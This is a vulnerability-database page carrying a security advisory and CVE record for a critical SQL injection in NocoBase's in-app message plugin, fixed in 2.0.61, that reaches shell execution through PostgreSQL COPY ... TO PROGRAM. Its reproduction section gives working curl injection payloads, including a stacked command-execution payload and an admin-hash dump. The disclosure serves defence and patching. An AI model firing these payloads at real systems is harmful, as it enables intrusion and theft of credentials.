Vulnerability-Lookup

GHSA-P849-8HWH-84J9

Vulnerability from github – Published: 2026-07-31 19:44 – Updated: 2026-07-31 19:44

Summary

NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE

Details

Summary

GET /api/myInAppChannels:list accepts a structured filter query parameter. The handler for the latestMsgReceiveTimestamp field splices the $lt value directly into a Sequelize.literal() template string with no escape, type cast, or parameter binding. The action ACL is loggedIn, so any authenticated account reaches it. The default auth-basic authenticator ships allowSignUp: true, so the account is obtainable anonymously.

The injection is reachable with the URL parameter filter[latestMsgReceiveTimestamp][$lt]=<expression>. The pg driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.

The shipped docker-compose.yml creates the DB role nocobase on a stock postgres:16 image, which assigns the rolsuper attribute by default. COPY ... TO PROGRAM '...' therefore runs shell commands as uid=999(postgres) inside the database container.

Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.

Affected

NocoBase server, @nocobase/plugin-notification-in-app-message <=2.0.57. Confirmed live-exploitable on the official nocobase/nocobase:2.0.57 Docker image (HEAD e35a2737d9df139cacecae0151c3326746e2339a).

@nocobase/plugin-notification-in-app-message is enabled by default in @nocobase/preset-nocobase. The default auth-basic ships allowSignUp: true. The shipped docker/app-postgres/docker-compose.yml uses POSTGRES_USER=nocobase against postgres:16, which makes the role a PostgreSQL superuser; COPY ... TO PROGRAM runs from this role.

Root cause

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63: the latestMsgReceiveTimestamp filter is built as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`). The$ltvalue comes straight from the GETfilterJSON; the template uses${...}interpolation with noescape(),replacements`, or type cast.

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200: app.acl.allow('myInAppChannels', '*', 'loggedIn') exposes every action on the resource to every authenticated role, including the seeded member.

packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295: allowSignUp: true ships in the default auth-basic seed; POST /api/auth:signUp returns 200 with no admin involvement.

docker/app-postgres/docker-compose.yml:30: POSTGRES_USER: nocobase against postgres:16. The bare postgres:16 image creates the named role with rolsuper=true (live-verified: SELECT rolsuper FROM pg_roles WHERE rolname='nocobase' returns true). The pg driver simple-query accepts stacked statements.

Reproduction

Tested against nocobase/nocobase:2.0.57 from the official Docker image with the default app-postgres compose. Attacker is an anonymously-signed-up member.

Anonymous sign-up, then sign-in for a member JWT.

curl -X POST -H 'Content-Type: application/json' \
  -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
  -d '{"account":"a","password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)

Time-based oracle confirms injection. Each request below takes ~5 seconds.

curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"

Stacked-statement COPY ... TO PROGRAM runs shell as uid=999(postgres) inside the database container.

curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Live-verified: sqlmap 1.10.3 against this endpoint reports Type: boolean-based blind (payload 0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH), Type: time-based blind, current user: nocobase, current user is DBA: True. Admin password hash ef6ea7f6...8ea12 exfiltrated via COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'. Reproduced 2026-05-26 against HEAD e35a2737.

Impact

Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (pg driver simple-query).
Arbitrary row read of any collection, including users.password PBKDF2 hashes for the super-admin account.
Shell command execution as uid=999(postgres) inside the PostgreSQL container via COPY ... TO PROGRAM.
Anonymous reach in default deployments because auth-basic ships allowSignUp: true.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.60"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-notification-in-app-message"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:44:59Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=\u003cexpression\u003e`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM \u0027...\u0027` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `\u003c=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} \u003c ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow(\u0027myInAppChannels\u0027, \u0027*\u0027, \u0027loggedIn\u0027)` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname=\u0027nocobase\u0027` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM \u0027id \u003e /tmp/PWN_VERIFY.txt\u0027; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM \u0027cat \u003e /tmp/PWN_HASH.txt\u0027`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-p849-8hwh-84j9",
  "modified": "2026-07-31T19:44:59Z",
  "published": "2026-07-31T19:44:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE"
}

CVE-2026-52887 (GCVE-0-2026-52887)

Vulnerability from cvelistv5 – Published: 2026-07-15 20:16 – Updated: 2026-07-20 14:39

Title

NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE

Summary

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-20 14:39 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/nocobase/nocobase/security/adv…	x_refsource_CONFIRM
https://github.com/nocobase/nocobase/commit/68d64…	x_refsource_MISC
https://github.com/nocobase/nocobase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nocobase	nocobase	Affected: < 2.0.61

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-52887",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-20T14:39:37.974692Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-20T14:39:47.788Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.61"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T20:16:43.023Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
        },
        {
          "name": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
        },
        {
          "name": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
        }
      ],
      "source": {
        "advisory": "GHSA-p849-8hwh-84j9",
        "discovery": "UNKNOWN"
      },
      "title": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52887",
    "datePublished": "2026-07-15T20:16:43.023Z",
    "dateReserved": "2026-06-08T21:44:27.365Z",
    "dateUpdated": "2026-07-20T14:39:47.788Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-P849-8HWH-84J9

Summary

Affected

Root cause

Reproduction

Impact

Credit

CVE-2026-52887 (GCVE-0-2026-52887)

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